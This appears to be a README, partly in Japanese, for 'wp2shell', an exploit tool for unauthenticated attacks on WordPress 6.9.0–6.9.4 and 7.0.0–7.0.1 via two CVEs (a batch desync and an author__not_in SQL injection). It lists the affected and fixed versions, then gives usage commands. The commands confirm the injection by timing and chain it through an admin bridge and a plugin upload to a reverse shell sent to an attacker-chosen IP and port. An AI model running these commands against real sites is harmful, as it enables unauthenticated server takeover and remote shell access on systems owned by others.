wp2shell (CVE-2026-63030 / CVE-2026-60137)
| |
|---|
| 名前 | wp2shell |
| CVE | CVE-2026-63030 (バッチデシンク), CVE-2026-60137 (author__not_in SQLi) |
| 影響を受けるバージョン | WordPress 6.9.0 から 6.9.4、7.0.0 から 7.0.1 |
| 修正版 | 6.9.5、7.0.2 |
| 認証必要 | なし |
| 発見者 | Adam Kues (Searchlight Cyber / Assetnote) |
使い方
ホスト名のみの指定はスキーム自動判定（https:// を試し、次に http:// を試します）。特定のスキームに固定したい場合のみ http:// または https:// を前置してください。
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
mverschu/cve-2026-63030
